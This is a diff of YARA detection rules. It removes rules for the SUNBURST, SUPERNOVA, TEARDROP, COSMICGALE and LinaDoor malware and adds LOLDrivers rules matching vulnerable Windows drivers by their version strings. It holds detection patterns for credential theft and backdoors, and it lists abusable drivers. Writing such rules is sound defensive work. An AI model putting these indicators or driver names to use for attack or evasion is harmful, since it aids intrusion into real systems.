-		hash1 = "c905f2dec79ccab115ad32578384008696ebab02276f49f12465dcd026c1a615"
 
 	strings:
-		$x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
-		$s1 = "release mutex - %u (%u)(%u)" fullword ascii
-		$s2 = "\\system32\\win.com" ascii
-		$s3 = "Command Id:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
-		$s4 = "MakeFile Error(%d) copy file to temp file %s" fullword ascii
-		$s5 = "%s%%s08x.tmp" fullword ascii
-		$s6 = "Run instruction: %d ID:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
-		$s7 = "Mutex_Log" fullword ascii
-		$s8 = "%s\\system32\\winview.ocx" fullword ascii
-		$s9 = "Microsoft(R) Windows (R) Operating System" fullword wide
-		$s10 = "Error: pos(%d) > CmdSize(%d)" fullword ascii
-		$s11 = "\\win.com" ascii
-		$s12 = "Error(%d) run %s " fullword ascii
-		$s13 = "%02d.%02d.%04d Log begin:" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300035002e00310034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300035002e00310034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="9d0d6daa47d6e6f2d80eb05405944f87" or (pe.exports("Entry") and pe.exports("InstallM") and pe.exports("InstallS")) or $x1 or 3 of them ) or (5 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_LNX_Linadoor_Rootkit_May22 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_0368 : FILE
 {
 	meta:
-		description = "Detects LinaDoor Linux Rootkit"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
 		author = "Florian Roth"
-		id = "e2f250b4-9a8a-5d70-83d7-5d12ad3763fb"
-		date = "2022-05-19"
-		modified = "2023-05-16"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lnx_linadoor_rootkit.yar#L2-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "546c34d4c204c7266884bb3b5b6ada418e83029ab88f72e5ffb094f50d9ed28e"
-		score = 85
-		quality = 85
+		id = "eda7e3e6-6fbe-59cd-af4d-159113c685b1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6563-L6583"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "03680068ec41bbe725e1ed2042b63b82391f792e8e21e45dc114618641611d5d"
+		hash = "66f851b309bada6d3e4b211baa23b534165b29ba16b5cbf5e8f44eaeb3ca86ea"
+		logic_hash = "67626089334102cf852d0863b58a29562dda673b6601a90b13d97a2380a4295c"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "25ff1efe36eb15f8e19411886217d4c9ec30b42dca072b1bf22f041a04049cd9"
-		hash2 = "4792e22d4c9996af1cb58ed54fee921a7a9fdd19f7a5e7f268b6793cdd1ab4e7"
-		hash3 = "9067230a0be61347c0cf5c676580fc4f7c8580fc87c932078ad0c3f425300fb7"
-		hash4 = "940b79dc25d1988dabd643e879d18e5e47e25d0bb61c1f382f9c7a6c545bfcff"
-		hash5 = "a1df5b7e4181c8c1c39de976bbf6601a91cde23134deda25703bc6d9cb499044"
-		hash6 = "c4eea99658cd82d48aaddaec4781ce0c893de42b33376b6c60a949008a3efb27"
-		hash7 = "c5651add0c7db3bbfe0bbffe4eafe9cd5aa254d99be7e3404a2054d6e07d20e7"
 
 	strings:
-		$s1 = "/dev/net/.../rootkit_/" ascii
-		$s2 = "did_exec" ascii fullword
-		$s3 = "rh_reserved_tp_target" ascii fullword
-		$s4 = "HIDDEN_SERVICES" ascii fullword
-		$s5 = "bypass_udp_ports" ascii fullword
-		$s6 = "DoBypassIP" ascii fullword
-		$op1 = { 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 }
-		$op2 = { e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b }
-		$op3 = { 48 89 c3 74 2a 4c 89 ef e8 00 00 00 00 48 89 da 4c 29 e2 48 01 c2 31 c0 }
-		$op4 = { 4c 29 e2 48 01 c2 31 c0 4c 39 f2 48 0f 46 c3 5b 41 5c 41 5d }
-		$fp1 = "/wgsyncdaemon.pid"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310036002e0031003000310035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310036002e0031003000310035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100360020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x457f and filesize <2000KB and 2 of them and not 1 of ($fp*) or 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Backdoor_SUNBURST_1
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_B0DC : FILE
 {
 	meta:
-		description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
-		author = "FireEye"
-		id = "74b44844-5575-53d7-819b-ab1b2327a144"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L6-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1fc006dead2fd540717e00e468bf30f37bdb1d061a805e33683e4a77db7f9156"
-		score = 85
-		quality = 77
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvaudio.sys"
+		author = "Florian Roth"
+		id = "225ebe9f-c453-5d4b-89af-d6fcffa254cc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6586-L6605"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b0dcdbdc62949c981c4fc04ccea64be008676d23506fc05637d9686151a4b77f"
+		logic_hash = "13f4cfb57115eab4850771248b479f523f3c6d9a25a21b16ce224ab783dd4abc"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
-		$cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
-		$fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
-		$fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
-		$fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
-		$fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
-		$fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
-		$fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
-		$fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00300030002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00300030002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		$fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or (($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Backdoor_SUNBURST_2
+rule LOLDRIVERS_PUA_VULN_Driver_Radiantsystemsinc_Radhwmgrsys_Radiantsystemsinchardwaremanagerdriver_7C79 : FILE
 {
 	meta:
-		description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
-		author = "FireEye"
-		id = "329071d5-c9c6-5ae1-a514-aea9f4037bac"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L28-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2bf0697b110bca88f712cbccaf0d2ba614d6093d6d9595659aefe088848d3826"
-		score = 85
-		quality = 83
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RadHwMgr.sys"
+		author = "Florian Roth"
+		id = "6d37a9e4-e1b3-5e4a-bc33-1621c32b82dc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6608-L6627"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7c79e5196c2f51d2ab16e40b9d5725a8bf6ae0aaa70b02377aedc0f4e93ca37f"
+		logic_hash = "1e60cfe82a13e311e8dc98cb4da82f0f1aecc606aaa5c57cda445228e78acd6b"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = "0y3Kzy8BAA==" wide
-		$aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
-		$ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
-		$ac = "C88sSs1JLS4GAA==" wide
-		$ad = "C/UEAA==" wide
-		$ae = "C89MSU8tKQYA" wide
-		$af = "8wvwBQA=" wide
-		$ag = "cyzIz8nJBwA=" wide
-		$ah = "c87JL03xzc/LLMkvysxLBwA=" wide
-		$ai = "88tPSS0GAA==" wide
-		$aj = "C8vPKc1NLQYA" wide
-		$ak = "88wrSS1KS0xOLQYA" wide
-		$al = "c87PLcjPS80rKQYA" wide
-		$am = "Ky7PLNAvLUjRBwA=" wide
-		$an = "06vIzQEA" wide
-		$b = "0y3NyyxLLSpOzIlPTgQA" wide
-		$c = "001OBAA=" wide
-		$d = "0y0oysxNLKqMT04EAA==" wide
-		$e = "0y3JzE0tLknMLQAA" wide
-		$f = "003PyU9KzAEA" wide
-		$h = "0y1OTS4tSk1OBAA=" wide
-		$i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
-		$j = "c8rPSQEA" wide
-		$k = "c8rPSfEsSczJTAYA" wide
-		$l = "c60oKUp0ys9JAQA=" wide
-		$m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
-		$n = "8yxJzMlMBgA=" wide
-		$o = "88lMzygBAA==" wide
-		$p = "88lMzyjxLEnMyUwGAA==" wide
-		$q = "C0pNL81JLAIA" wide
-		$r = "C07NzXTKz0kBAA==" wide
-		$s = "C07NzXTKz0nxLEnMyUwGAA==" wide
-		$t = "yy9IzStOzCsGAA==" wide
-		$u = "y8svyQcA" wide
-		$v = "SytKTU3LzysBAA==" wide
-		$w = "C84vLUpOdc5PSQ0oygcA" wide
-		$x = "C84vLUpODU4tykwLKMoHAA==" wide
-		$y = "C84vLUpO9UjMC07MKwYA" wide
-		$z = "C84vLUpO9UjMC04tykwDAA==" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061006400690061006e00740020004800610072006400770061007200650020004d0061006e006100670065007200200066006f007200200050003100350078007800200050006c006100740066006f0072006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0039002e0030002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0039002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e00200020004800610072006400770061007200650020004d0061006e00610067006500720020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0032003000300032002d0032003000300039002000520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e0020 }
 
 	condition:
-		($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Webshell_SUPERNOVA_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_DD4A : FILE
 {
 	meta:
-		description = "SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args). This rule is looking for specific strings and attributes related to SUPERNOVA."
-		author = "FireEye"
-		id = "73a27fa2-a846-5f4b-8182-064ac06c71a8"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L80-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8471e6b3675e7e9ccfe5b81ab4c599668f2de528f3b179a675f50aa1fd7814b2"
-		score = 85
-		quality = 81
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		author = "Florian Roth"
+		id = "65abda74-40d3-57c2-ade1-463b3e1ad1ef"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6630-L6649"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097"
+		logic_hash = "f04d75e5ff735d30d5bb3959722a5162b1ab7ce4db8d05a2007f98fc901b2179"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$compile1 = "CompileAssemblyFromSource"
-		$compile2 = "CreateCompiler"
-		$context = "ProcessRequest"
-		$httpmodule = "IHttpHandler" ascii
-		$string1 = "clazz"
-		$string2 = "//NetPerfMon//images//NoLogo.gif" wide
-		$string3 = "SolarWinds" ascii nocase wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <10KB and pe.imports("mscoree.dll","_CorDllMain") and $httpmodule and $context and all of ($compile*) and all of ($string*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Webshell_SUPERNOVA_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Pchuntersys_Pchunter_1B7F : FILE
 {
 	meta:
-		description = "This rule is looking for specific strings related to SUPERNOVA. SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args)."
-		author = "FireEye"
-		id = "c39bf9ba-fd62-5619-92b6-1633375ef197"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L100-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "96e344bd2ba3ee07784852db3e9935352762c2fa7b6be88f00cac10a90706ffc"
-		score = 85
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PCHunter.sys"
+		author = "Florian Roth"
+		id = "229e07ae-2358-5b7e-843d-a0038c57dcd0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6652-L6671"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa"
+		logic_hash = "54232c91f0f6d119ece865269eec9d5ea885c8dd0119a0eecd889a405af828a0"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$dynamic = "DynamicRun"
-		$solar = "Solarwinds" nocase
-		$string1 = "codes"
-		$string2 = "clazz"
-		$string3 = "method"
-		$string4 = "args"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00450070006f006f006c0073006f00660074002000570069006e0064006f0077007300200049006e0066006f0072006d006100740069006f006e0020005600690065007700200054006f006f006c0073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]4e00666e660e4e3aff0853174eacff094fe1606f6280672f67099650516c53f8 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300480075006e007400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200032003000310033002d0032003000310036002000450070006f006f006c0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <10KB and 3 of ($string*) and $dynamic and $solar
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Hacktool_PS1_COSMICGALE_1
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_6500 : FILE
 {
 	meta:
-		description = "This rule detects various unique strings related to COSMICGALE. COSMICGALE is a credential theft and reconnaissance PowerShell script that collects credentials using the publicly available Get-PassHashes routine. COSMICGALE clears log files, writes acquired data to a hard coded path, and encrypts the file with a password."
-		author = "FireEye"
-		id = "c094943c-288e-5835-8066-8e95a992c76c"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_solarwinds_sunburst.yar#L119-L140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7b4d3c29d57b8db8d21e3a436c83617bc3fe14e66ccc1500b33a3774f09ee12"
-		score = 85
-		quality = 65
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "87ed66d7-4903-5334-9bdb-90ba882c3e98"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6674-L6693"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "65008817eb97635826a8708a6411d7b50f762bab81304e457119d669382944c3"
+		logic_hash = "a3a2b21c9a58fee77857f3074fe6b69506eecb2627d93f1ea3a51c4cccdd2bab"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$sr1 = /\[byte\[\]\]@\([\x09\x20]{0,32}0xaa[\x09\x20]{0,32},[\x09\x20]{0,32}0xd3[\x09\x20]{0,32},[\x09\x20]{0,32}0xb4[\x09\x20]{0,32},[\x09\x20]{0,32}0x35[\x09\x20]{0,32},/ ascii nocase wide
-		$sr2 = /\[bitconverter\]::toint32\(\$\w{1,64}\[0x0c..0x0f\][\x09\x20]{0,32},[\x09\x20]{0,32}0\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}0xcc\x3b/ ascii nocase wide
-		$sr3 = /\[byte\[\]\]\(\$\w{1,64}\.padright\(\d{1,2}\)\.substring\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,2}\)\.tochararray\(\)\)/ ascii nocase wide
-		$ss1 = "[text.encoding]::ascii.getbytes(\"ntpassword\x600\");" ascii nocase wide
-		$ss2 = "system\\currentcontrolset\\control\\lsa\\$_" ascii nocase wide
-		$ss3 = "[security.cryptography.md5]::create()" ascii nocase wide
-		$ss4 = "[system.security.principal.windowsidentity]::getcurrent().name" ascii nocase wide
-		$ss5 = "out-file" ascii nocase wide
-		$ss6 = "convertto-securestring" ascii nocase wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Dropper_Raw64_TEARDROP_1
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_0FC3 : FILE
 {
 	meta:
-		description = "This rule looks for portions of the TEARDROP backdoor that are vital to how it functions. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory."
-		author = "FireEye"
-		id = "88adad58-ba16-5996-9ea8-ea356c3ed5b2"
-		date = "2020-12-14"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
